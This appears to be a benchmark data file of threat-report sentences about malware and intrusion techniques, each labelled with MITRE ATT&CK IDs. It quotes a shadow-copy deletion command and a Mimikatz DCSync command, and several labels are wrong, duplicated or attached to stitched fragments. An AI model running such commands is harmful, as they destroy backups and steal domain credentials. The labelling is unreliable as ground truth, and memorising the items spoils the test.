"Conti has been under active development throughout WIZARD SPIDER’s deployment of the ransomware in BGH campaigns. In August 2020, Conti’s technique shifted from fully encrypting files with AES-256 to a more strategic and efficient approach of selectively encrypting files with the ChaCha stream cipher. Conti’s host discovery and network share targeting functionality has also continued to evolve and is now comparable to that of Ryuk’s",['T1486 - Data Encrypted for Impact'],eval_config
"During our tracking, we identified several malicious documents submitted from this actor on VirusTotal for testing purposes. They tested the detection on macros (by modifying them, or by executing the calc instead of the malicious payload) and the developers tried dynamic data exchange (DDE) execution in the Office document. This is abusing the DDE protocol which exists within Microsoft Office documents. The developer crafted Office Word and Excel documents to see the detection in VirusTotal. The authors tried to hide the DDE object in a different part of the document — in the main object and the header, for example. The DDE object simply executes Microsoft calc in the detected sample",['T1027.005 - Indicator Removal from Tools'],eval_config
"The plugin is designed to retrieve information about all active network sessions on the infected server. For each session, the host address from which the connection is made can be retrieved, along with the name of the user initiating the connection",['T1049 - System Network Connections Discovery'],eval_config
"The server response is a PowerShell command that decodes and materializes an invocation of a Base64-encoded PowerShell command to disk as IEWebCache.vbs, and creates a scheduled task entitled “IE Web Cache” that executes the file hourly (full script available in Appendix B: Stage Two PowerShell Command",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
The communication traffic between the BCS-server tool and the C&amp;C server is base64 encoded and encapsulated in HTML tags,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
If the current integrity level is local_system It will call WTSQueryUserToken and CreateProcessAsUser to start a new process with system privilege as shown in Figure 20. It will call WTSQueryUserToken and CreateProcessAsUser to start a new process with system privilege as shown in Figure 20,['T1134.002 - Create Process with Token'],eval_config
"Casbaneiro can also try to steal victim’s cryptocurrency. It does so by monitoring the content of the clipboard and if the data seem to be a cryptocurrency wallet, it replaces them with the attacker’s own. This technique is not new; it has been used by other malware in the past – even the infamous BackSwap banking trojan implemented it in its earliest stages",['T1115 - Clipboard Data'],eval_config
"Execute a binary on the system using cmd.exe and log the results into a temp file, which is then read and the logged results are sent to the control server",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
The malicious Visual Basic script uses a unique key (custom alphabet) to encode data. This key was also used in the Honeybee campaign and appears to have been used since August 2017,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
"The payload’s install function makes a call to SetWindowsHookEx with a thread ID of 0, resulting in the function being injected into every GUI process running on the victim machine. This particular process is referenced in this forum post",['T1056.004 - Input Capture: Credential API Hooking'],eval_config
"After detecting the removable USB volume drive, the PlugX variant creates a hidden folder with name “RECYCLE.BIN” and copies the EXE file, the loader DLL, and encrypted DAT file. Then, it hides all of the folders in the root directory and creates LNK for each one in order to deceive the victim to click on the LNK files",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],eval_config
"The third module allows the operators to take a screenshot of the remote system. The script executes an open-source .NET class used for taking a screenshot. The resulting screenshot is saved at “%TMP%/image.png”, sent back to the attackers by the GRIFFON implant and then deleted",['T1113 - Screen Capture'],eval_config
"Services may be created with administrator privileges but are executed under system privileges, so an adversary can also use a service to escalate privileges from Administrator to System. 29],[30(link is external)] - During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. 32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly",['T1505.003 - Server Software Component: Web Shell'],eval_config
"The main payload of the attack is an executable named msapp.exe, and its purpose is to take the victim machine out of service by locking it and wiping its contents. Upon execution, the malware hides this executable’s console window to decrease the suspicion of vigilant victims",['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
Process Watcher The Process Watcher feature spawns a separate daemon to watch the main Imminent Monitor Client in case the client ever crashes or gets closed,['T1057 - Process Discovery'],eval_config
"Waterbug’s most recent campaigns have involved a swath of new tools including custom malware, modified versions of publicly available hacking tools, and legitimate administration tools. The group has also followed the current shift towards “living off the land,” making use of PowerShell scripts and PsExec, a Microsoft Sysinternals tool used for executing processes on other systems",['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Every 6 seconds the malware iterates through running processes and updates its list for it to capture later on,['T1057 - Process Discovery'],eval_config
"After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex. This registry key is empty upon the first execution of the payload. This exception invokes the exception handler containing the HTTP communication code, allowing it to run. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail. random number between 100000 and 999999&gt;.&lt;c2 name&gt; This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake. The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request's cookie in the PHPSESSID field, as seen in the example GET request",['T1012 - Query Registry'],eval_config
"Before encryption, both variants of BitPaymer attempt to remove the backup shadow files from the host, making it impossible to restore encrypted files. This is achieved by launching the vssadmin.exe process with the following command vssadmin.exe Delete Shadows /All /Quiet",['T1490 - Inhibit System Recovery'],eval_config
A combination of NTWDBLIB.dll and cliconfg.exe are used to bypass UAC protections; this is a familiar attack on Windows. UAC bypass via DLL hijacking requires,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
"While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter &lt;&gt;: [command]&lt;&gt;[parameters for command in hexadecimal format] The available commands are",['T1027 - Obfuscated Files or Information'],eval_config
"If the ransomware is not executed with administrator rights or if the infected host runs Windows Vista or later, it will attempt to elevate its privileges. In short, WastedLocker uses a well-documented UAC bypass method [1] [2]. It chooses a random file (EXE/DLL) from the Windows system32 folder and copies it to the %APPDATA% location under a different hidden filename. Next, it creates an alternate data stream (ADS) into the file named bin and copies the ransomware into it. WastedLocker then copies winsat.exe and winmm.dll into a newly created folder located in the Windows temporary folder. Once loaded, the hijacked DLL (winmm.dll) is patched to execute the aforementioned ADS",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
"For Internet Explorer and Microsoft Edge browsers, the plugin retrieves user credentials using functions from the vaultcli.dll library that implements the functions of the vaultcmd.exe utility",['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],eval_config
"Before launching the attack, the group studied publicly available information about the targeted organization and identified email addresses belonging to various departments of the company",['T1591 - Gather Victim Org Information'],eval_config
"Next, it relaunches Outlook with a special option, /altvba &lt;OTM filename&gt;, which loads the Gamaredon VBA project. The malicious code is executed once the Application.Startup event is received. They have been using this module in three different ways to send malicious email to",['T1137 - Office Application Startup'],eval_config
The decoded BabyShark VB script first enables all future macros for Microsoft Word and Excel by adding the following registry keys,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
The TMP files were then staged for exfiltration on Internet-facing servers that had previously been compromised with the China Chopper web shell. From those servers the threat actor could use a web shell to retrieve the encrypted archives,['T1074.002 - Remote Data Staging'],eval_config
"After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source. This new process is in a suspended state so the malware can unmap its memory and write its contents to the new, allocated space. Once this is complete, it will resume the suspended process. By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process",['T1055.012 - Process Injection: Process Hollowing'],eval_config
"As happens so many times, it contains a Visual Basic script that will execute the malicious activities. This one, however, appears to be more innovative. It starts by loading its own document into memory. Afterward, it copies 7,074,638 bytes from the end of the file and writes the remaining bytes back to the disk. This ZIP file contains a Python interpreter and Python script that is actually the RAT. The Word macro will unzip and execute the main script called ""launcher.py. The launcher script is responsible for checking the environment that the doc is currently being opened in. It assumes that all sandboxes will have hard drives smaller than 62GB. If it's in a sandbox environment, it will overwrite the malware scripts with the contents of the file ""License.txt"" and exit, thus deleting itself. Anti-sandbox code If it determines that it is not running in a sandbox environment, it will generate a unique ID, that is then replaced directly with the Python source code of the main scripts before executing it",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],eval_config
"The main module can also change the communication channel: once every 360 C&amp;C loops, it can retrieve a new domain from the actors’ S3 bucket",['T1008 - Fallback Channels'],eval_config
"OwaAuth web shell — A web shell and credential stealer deployed to Microsoft Exchange servers. Captured credentials are DES-encrypted using the password ""12345678"" and are written to the log.txt file in the root directory. Like the ChinaChopper web shell, the OwaAuth web shell requires a password. However, the OwaAuth web shell password contains the victim organization's name. More information about the OwaAuth web shell is available in Appendix C. ASPXTool — A modified version of the ASPXSpy web shell (see Figure 6). It is deployed to internally accessible servers running Internet Information Services (IIS). Figure 6. ASPXTool web shell",['T1505.003 - Server Software Component: Web Shell'],eval_config
"It’s worth noting that Blue Mockingbird’s initial access does not provide the privileges needed to establish the many persistence mechanisms used. In one engagement we observed, the adversary using a JuicyPotato exploit to escalate privileges from an IIS Application Pool Identity virtual account to the NT Authority\SYSTEM account. JuicyPotato allows an attacker to abuse the SeImpersonate token privilege and Windows DCOM to move from an unprivileged account to the highest level of privilege on a system (T1068: Exploitation for Privilege Escalation). During this engagement, the attacker abused a DCOM class and leveraged the IIS Application Pool Identity’s SeImpersonate privilege to perform the escalation",['T1134 - Access Token Manipulation'],eval_config
"The threat actors retrieved the NTDS.dit file from the volume shadow copy. NTDS.dit contains Active Directory data, including password hashes for all users on a domain. Extracting hashes from the NTDS.dit file requires access to the SYSTEM file in the system registry",['T1003.003 - OS Credential Dumping: NTDS'],eval_config
"For each drive targeted, the malware recursively iterates through all files and directories. For each file, the name and path are compared against a list of excluded filenames and two lists of excluded directory names. These exclusion lists are composed of regular expression type strings that are located in the encrypted strings table. If the file name and path do not match any regular expressions in the exclusion lists, the file is encrypted",['T1480 - Execution Guardrails'],eval_config
"In other cases, threat actors placed web shells on externally accessible servers, sometimes behind a reverse proxy, to execute commands on the compromised system. TG-3390 actors have deployed the OwaAuth web shell to Exchange servers, disguising it as an ISAPI filter. The IIS w3wp.exe process loads the malicious DLL, which CTU researchers have observed in the Program Files\Microsoft\Exchange Server\ClientAccess\Owa\Bin directory",['T1505.004 - IIS Components'],eval_config
"In this example, a scheduled task named “Windows Scheduled Maintenance” was created to run Casey Smith’s “Squiblydoo” App Whitelisting bypass every 30 minutes. While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (“.sct” file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info. Meterpreter then loaded Cobalt Strike BEACON, configured to communicate with 80.255.3[.]87 using the Safebrowsing malleable C2 profile to further blend in with network traffic. A second scheduled task named “Scheduled Defrags” was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016",['T1070.006 - Indicator Removal on Host: Timestomp'],eval_config
Micropsia is able to perform a recursive directory listing on-demand for all volume drives available on the victim’s machine. It checks whether a volume drive exists by simply iterating all possible letters (from A to Z) and testing whether this directory exists. Malware operators are also able to fetch specific files from victim file system by their path,['T1083 - File and Directory Discovery'],eval_config
BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
"DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks",['T1614.001 - System Location Discovery: System Language Discovery'],eval_config
"The case we found arrived through a targeted email that contained a document file (in docx format). Opening document starts a template injection technique for loading the document template from the internet. The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS). We found a mechanism for decrypting, executing, and downloading an additional payload from the C&amp;C server. During the time of the analysis however, the C&amp;C server was not accessible, which made us unable to get additional payloads",['T1221 - Template Injection'],eval_config
"Essentially, “thumb.dd” is a container for data which is saved on the flash drive, unless it can be sent directly over the Internet to the C&amp;C server",['T1052.001 - Exfiltration over USB'],eval_config
"There are two types of Ryuk binaries: a dropper (which is not commonly observed) and the Ryuk executable payload. Recovery of Ryuk droppers are rare, due to the Ryuk executable payload deleting the dropper when executed. Upon execution, the dropper constructs an installation folder path. The folder path is created by calling GetWindowsDirectoryW and then inserting a null byte at the fourth character of the path. This is used to create a string that contains the drive letter path. If the host operating system is Windows XP or earlier, the string Documents and Settings\Default User\ is appended to the drive letter path. If the host is Windows Vista or newer, the string users\Public\ is appended to the drive letter path. For Windows XP, an example folder path would be C:\Documents and Settings\Default User\, and for Window Vista or higher, the path would be C:\Users\Public",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"For the second path, the attackers create their own SAML signing certificate outside of the organization’s environment. With Azure AD administrative permissions, they then add the new certificate as a trusted object. As these are rare actions, we advise verifying that any instances identified are the result of legitimate administrative activity",['T1484.002 - Domain Trust Modification'],eval_config
"After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP. Finally, the malware parses and extracts SMS message data from the network traffic",['T1040 - Network Sniffing'],eval_config
"For the discovery phase, the Carbanak and FIN7 campaigns gain more knowledge about the system by gathering listings of various information: open application windows, running processes, IP addresses and other network identifiers in remote systems, detailed hardware and system information, system network configuration and settings, and system owners and users.","['T1033 - System Owner/User Discovery', 'T1016 - System Network Configuration Discovery', 'T1057 - Process Discovery', 'T1082 - System Information Discovery', 'T1590.005 - IP Addresses', 'T1590 - Gather Victim Network Information', 'T1049 - System Network Connections Discovery']",eval_config
The packed executable stores the LV ransomware binary as an RC4-encrypted data within a section named “enc.”,['T1486 - Data Encrypted for Impact'],eval_config
"As shown below in Figure 4, the DLL was saved to the victim’s home directory at C:\Users\[username]\tru.dll. It ran using regsvr32.exe.",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],eval_config
"To steal information from the Windows Vault, it appears that the Agent Tesla authors converted a PowerSploit script into C# to build a .NET assembly.","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1587.001 - Malware', 'T1588.001 - Malware']",eval_config
"Threat actors behind Cring used weaponized tools in their attacks. One of these tools is Mimikatz, which was used to steal account credentials of users who had previously logged into the system.",['T1528 - Steal Application Access Token'],eval_config
"After loading the Cobalt Strike DLL, there was an almost instant injection by the process into the Werfault process.","['T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1055.011 - Process Injection: Extra Window Memory Injection', 'T1055.002 - Process Injection: Portable Executable Injection']",eval_config
"In this incident, CARBON SPIDER also used the KillACK PS backdoor, executing the malware using both PowerShell and PowerShell ISE. KillACK sends host information to a C2 server (in this case, againcome[.]com or besaintegration[.]com) and executes provided PS script blocks. Multiple KillACK modules have been observed by CrowdStrike Intelligence, including modules for conducting self-propagation and AMSI hot-patching, as well as for executing Cobalt Strike stagers and enumerating network information.","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",eval_config
"A threat actor with knowledge of the machineKey can construct a malicious ViewState and then generate a new and valid MAC that the server accepts. With a valid MAC, the server will then deserialize the malicious ViewState, resulting in the execution of code on the server. Publicly available tools such as YSoSerial.NET exist to construct these malicious ViewStates. This is precisely how APT41 initiated their campaign in May 2021. ",['T1037.002 - Boot or Logon Initialization Scripts: Logon Script (Mac)'],eval_config
"Similar to SPRITE SPIDER, CARBON SPIDER has gained access to ESXi servers using valid credentials. The adversary has typically accessed these systems via the vCenter web interface, using legitimate credentials, but has also logged in over SSH using the Plink utility to drop Darkside.",['T1505.003 - Server Software Component: Web Shell'],eval_config
"What is peculiar about this file is it is a variant of the open-source MicroBackdoor, a backdoor allowing an attacker to browse the file system, upload and download files, execute commands and remove itself from the system (Figure 13). As the threat actor would normally have a foothold into the network prior to ransomware deployment, it raises the question of why this backdoor is part of the ransomware execution. One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.",['T1588.001 - Malware'],eval_config
"The first artefacts we found relating to MATA were used around April 2018. After that, the actor behind this advanced malware framework used it aggressively to infiltrate corporate entities around the world. We identified several victims from our telemetry and figured out the purpose of this malware framework.","['T1588.001 - Malware', 'T1587.001 - Malware']",eval_config
Another example of a Trojan with the same functionality is Backdoor.Win32.ZAccess (ZeroAccess). Its most favored targets are users in the US (27.7%) and Germany (11%).,"['T1588.001 - Malware', 'T1587.001 - Malware']",eval_config
"Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.” .","['T1588.001 - Malware', 'T1583.002 - DNS Server']",eval_config
"We also observed another malware distribution method of Roaming Mantis which is linked to prezi.com. Prezi is a popular computer application and online service to create dynamic presentations. The criminals used this service to spread their scam. When a user visits a page crafted by the attackers, a link is shown offering free content such as adult video, a game, a comic, music and so on, like pirate editions.","['T1566.002 - Phishing: Spearphishing Link', 'T1204.001 - Malicious Link', 'T1598.003 - Spearphishing Link']",eval_config
"Sixth and seventeenth places were taken by members of the Hqwar dropper family: Trojan-Dropper.AndroidOS.Hqwar.bb (3.36%) and Trojan-Dropper.AndroidOS.Hqwar.gen (1.57%), respectively. These packers most often contain banking Trojans, including Asacub.","['T1588.001 - Malware', 'T1587.001 - Malware']",eval_config
"These downloaders maintained PDB strings with “PuppetLoader” filepaths. These PuppetLoader strings pretty clearly connected the multistage loaders with past PuppetLoader downloaders, only this time, redesigned and rewritten in C#. Past PuppetLoaders, written in C++, maintain explicit strings:",['T1588.002 - Tool'],eval_config
"Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. ",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],eval_config
"A new Ducktail phishing campaign is spreading a never-before-seen Windows information-stealing malware written in PHP used to steal Facebook accounts, browser data, and cryptocurrency wallets.",['T1566 - Phishing'],eval_config
"We saw some cases where a separate loader – WindowsTool.exe – was used to implement persistence and execute DeepCreep with InstallUtil, a legitimate tool from the .NET Framework.",['T1218.004 - Signed Binary Proxy Execution: InstallUtil'],eval_config
QAKBOT has gained execution through users accessing malicious link,['T1204.001 - Malicious Link'],eval_config
"In 2013, Kaspersky reported on a threat actor group they named “IceFog” that had been attacking a large number of entities related to military, mass media, and technology in South Korea and Japan. This group developed their own backdoor for both Windows and OS X. And just this year, Kaspersky published a report on a group they named ""Careto/Mask"" that utilized an open source netcat-like project designed to run on *nix and Windows systems named ‘sbd’ which they wrapped in a custom built installer for OS X.",['T1587.001 - Malware'],eval_config
"This module propagates Trickbot via the EternalRomance exploit. It enables WDigest Authentication by modifying the UseLogonCredential value in the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest registry key. This modification is forced to save credentials in lsass.exe memory (Local Security Authority Subsystem Service). The tabDll32 module then injects the embedded module screenLocker in explorer.exe and locks the workstation with the lock screen, forcing the user to login again. It waits for next user login and scrapes the credentials from LSASS memory utilizing Mimikatz functionality. Stolen credentials are sent back to the C2. After that tabDll32 downloads the payload from hardcoded URLs – usually the Trickbot loader (downloader) – starts up to 256 threads and uses the EternalRomance exploit to rapidly spread the downloaded payload over the network. Another embedded module, ssExecutor_x86, is used to set up persistence for the downloaded payload on exploited systems. This module also contains the main code of the shareDll32 module, and uses it to spread over the network.","['T1003.001 - OS Credential Dumping: LSASS Memory', 'T1547.008 - Boot or Logon Autostart Execution: LSASS Driver']",eval_config
"While WannaCry ransomware has spread primarily through SMB exploitation, its operators may also use other distribution methods. Early reports suggested WannaCry was spread through malicious links in spam messages; however, FireEye has been unable to corroborate that information from any of our investigations to date.","['T1566.002 - Phishing: Spearphishing Link', 'T1203 - Exploitation for Client Execution']",eval_config
The jar that exploited CVE-2013-2423 dropped a 9002 RAT with a MD5 of d99ed31af1e0ad6fb5bf0f116063e91f. This RAT connected to a command and control server at asp[.]homesvr[.]linkpc[.]net. The jar that exploited CVE-2013-1493 dropped a 9002 RAT with a MD5 of 42bd5e7e8f74c15873ff0f4a9ce974cd. This RAT connected to a command and control server at ssl[.]homesvr[.]tk.,['T1210 - Exploitation of Remote Services'],eval_config
"On November 25, we confirmed that another malware, AzoRult, was served from the same URL previously serving Smoke Loader. AzoRult is also a commodity malware that steals credentials, cookies, and cryptocurrencies. This AzoRult accesses the following C2 address, which is a different path on the same C2 server with the Smoke Loader.",['T1588.001 - Malware'],eval_config
"Spam messages sent to users of VKontakte contained a personal address and were far more lively. These messages contained a link to a server, which redirected users to porn sites. Users were told that in order to view videos, they had to download a codec, which turned out to be Trojan.Win32.Crypt.ey, a malicious Browser Helper Object. This caused the first five results in any web search query to be malicious links. Kaspersky Lab estimates that approximately 4000 VKontakte accounts were stolen with a few hours. ",['T1566.002 - Phishing: Spearphishing Link'],eval_config
"Current module doesn’t create any local logs, instead all information is kept in memory, which is later compressed using Zlib 1.2.5, encrypted, encoded with Base64 algorithm and submitted to the C&C server.",['T1132 - Data Encoding'],eval_config
"Trojan.AndroidOS.Fadeb.a could be regarded as the least successful of the malicious programs described above. Its activity also increased starting in early May, but even in the first half of July, which was its most active period, the number of users attacked did not exceed 1,000 per day.",['T1587.001 - Malware'],eval_config
. . . This timeline shows that the attackers have been busy developing a new component of the infection chain almost every month since April 2020.. . A visual timeline of the evolution is presented here:. Visual timeline of the evolution of the infection chain of CRAT.. . ,['T1587.001 - Malware'],eval_config
Patterns in certificate issuer data for Dridex HTTPS C2 traffic are somewhat unique when compared to other malware families. They can be key to identifying Dridex infections.,['T1596.003 - Digital Certificates'],eval_config
"The main worker sample contains five icon resources with valid icons named 16, 256, 4097, 8193 and 12289. The names indicate different icon resolutions, but the icons only differ in the encrypted data appended to them which can be considered as a form of steganography. This data is encrypted with a custom algorithm and additionally zlib compressed. The same method is used within the SSP DLLs. A Python script for decryption and decompression can be found in the Appendix. After decryption, the data blob has the following structure:",['T1027.003 - Steganography'],eval_config
"In response, the malware receives an extended loader – a module in a format typical of ZeuS, i.e., not a standard PE file but a set of sections that are mapped to memory by the loader itself: executable code, relocation table, point of entry, exported functions, import table.",['T1587.001 - Malware'],eval_config
PLEAD’s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware’s filename. They are mostly accompanied by decoy documents to further trick users. We’ve also seen PLEAD use exploits for these vulnerabilities:. . ,['T1036.002 - Right-to-Left Override'],eval_config
Attempts to check the language settings.,"['T1614 - System Location Discovery', 'T1614 - System Location Discovery']",eval_config
"Indicators, such as logs in Windows Event Logs or malicious files, are typically removed using wevtutil, a batch script, or CCleaner.",['T1070 - Indicator Removal on Host'],eval_config
Compromised accounts may be used to maintain access to the network.,"['T1078 - Valid Accounts', 'T1078 - Valid Accounts']",eval_config
Black Basta uses bcdedit to boot the device in safe mode.,['T1562.009 - Impair Defenses: Safe Boot Mode'],eval_config
"Windows Defender, other anti-malware solutions and monitoring tools are disabled utilizing a process explorer tool, a batch script or a specially crafted command line script.","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",eval_config
Affiliates use hidden windows to hide malicious activity from plain sight.,"['T1564.003 - Hide Artifacts: Hidden Window', 'T1564.003 - Hide Artifacts: Hidden Window']",eval_config
CreepyDrive uses the OneDrive HTTP API (and the Dropbox HTTP API) to access the cloud storage.,['T1530 - Data from Cloud Storage Object'],eval_config
"It can upload or download files from attacker-controlled accounts in these cloud services, and execute supplied PowerShell code",['T1580 - Cloud Infrastructure Discovery'],eval_config
Smuggles a file’s content by hiding malicious payloads inside of seemingly benign HTML files.,['T1027.006 - HTML Smuggling'],eval_config
PapaCreep is a previously undocumented custom backdoor written in C++ that can receive and execute commands from a remote server via TCP sockets.,['T1071 - Application Layer Protocol'],eval_config
CreepyDrive is a PowerShell backdoor that reads and executes commands from a text file stored on OneDrive or Dropbox,['T1580 - Cloud Infrastructure Discovery'],eval_config
"On a similar note, they like to divide the code in their backdoors, distributing malicious functionality into various small DLLs, perhaps expecting that defenders or researchers will not observe the complete attack chain.",['T1622 - Debugger Evasion'],eval_config
"The final stage is a Windows executable-type malware that is capable of stealing information from the victim such as file lists, user keystrokes, and stored web browser login credentials.",['T1056.001 - Input Capture: Keylogging'],eval_config
Russian state-sponsored APT actors have conducted bruteforce password guessing and password spraying campaigns.,"['T1110.001 - Brute Force: Password Guessing', 'T1110.003 - Brute Force: Password Spraying']",eval_config
Russian state-sponsored APT actors have exploited Windows Netlogon vulnerability CVE-2020-1472 to obtain access to Windows Active Directory servers.,['T1212 - Exploitation for Credential Access'],eval_config
Russian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates.,['T1552.004 - Unsecured Credentials: Private Keys'],eval_config
Russian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic.,['T1090.003 - Proxy: Multi-hop Proxy'],eval_config
Chinese state-sponsored cyber actors have been observed using Cobalt Strike® and tools from GitHub® on victim networks.,['T1588.002 - Tool'],eval_config
"Chinese state-sponsored cyber actors have been observed:  Exploiting vulnerable devices immediately after conducting scans for critical zero-day or publicly disclosed vulnerabilities. The cyber actors used or modified public proof of concept code in order to exploit vulnerable systems.  Targeting Microsoft Exchange offline address book (OAB) virtual directories (VDs).  Exploiting Internet accessible webservers using webshell small code injections against multiple code languages, including net, asp, apsx, php, japx, and cfm.",['T1133 - External Remote Services'],eval_config
Chinese state-sponsored cyber actors have also been observed modifying group policies for password exploitation.,['T1484.001 - Domain Policy Modification: Group Policy Modification'],eval_config
The actors staged archives of collected data on a target's OWA server.,['T1074.002 - Remote Data Staging'],eval_config
The actors renamed archive files containing exfiltration data with innocuous looking names and extensions (e.g. .wav and .mp4) to resemble benign files,['T1036 - Masquerading'],eval_config
The actors renamed the WinRAR utility to avoid detection.,['T1036.003 - Masquerading: Rename System Utilities'],eval_config
Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands.,['T1047 - Windows Management Instrumentation'],eval_config
"Each sample contains malicious code that writes an embedded payload to disk and launches it. However, the malicious code was inserted at different locations in each of the trojanized PuTTY samples. In the PuTTY sample discovered by Mandiant, the code resides in the connect_to_host function, which is in the source file putty-0.77\ssh\ssh.c. To trigger the code, the user must attempt an SSH connection to the host IP address provided in the Readme.txt file (Figure 1).",['T1620 - Reflective Code Loading'],eval_config
A bash installation script to be placed into /etc/rc.local.d/ to ensure its actions will be executed upon each bootup of ESXi. This script executes the ELF backdoor,['T1547 - Boot or Logon Autostart Execution'],eval_config
"Reviewing the ESXi hypervisors during an active attacker event, Mandiant identified an attacker executed commands to the guest machines through the process /bin/rdt (VIRTUALPITA). The parent process /bin/rdt spawned a bash shell which called on a python script specifying the target guest machine and commands to run as seen in Figure 4.",['T1202 - Indirect Command Execution'],eval_config
UNC4166 deployed the payload AzureSettingSync.dll and configured its execution via a schedule task named AzureSync on at least one device. The schedule task was configured to execute AzureSync via rundll32.exe,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
"Conti ransomware uses CreateIoCompletionPort(), PostQueuedCompletionStatus(), and GetQueuedCompletionPort() to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. Conti ransomware can use Windows Restart Manager"" to ensure files are unlocked and open for encryption.""",['T1486 - Data Encrypted for Impact'],eval_config
Conti ransomware can enumerate remote open server message block (SMB) network shares using NetShareEnum().,['T1135 - Network Share Discovery'],eval_config
"In this attack, an attacker pretends to be a DC and uses the Directory Replication Service Remote Protocol in order to extract NTLM hashes of users in the domain. One of the accounts he can extract using this protocol is the KRBTGT account, allowing the attacker to create golden tickets and as a result, compromise the domain completely. To perform this attack, the attacker must have compromised an account with special rights allowing the domain replication. These permissions are granted by default to domain admins, administrators, enterprise admins and domain controllers groups. The Mimikatz command performing this attack is- lsadump::dcsync /domain:<domain name> /user:<domain user account>",['T1207 - Rogue Domain Controller'],eval_config
"Like a typical ransomware TTP, Nefilim enumerates files before encrypting them. It uses some FileAPI functions such as FindFirstFileW, lstrcmpiW and FindNextFileW to discover files.",['T1083 - File and Directory Discovery'],eval_config
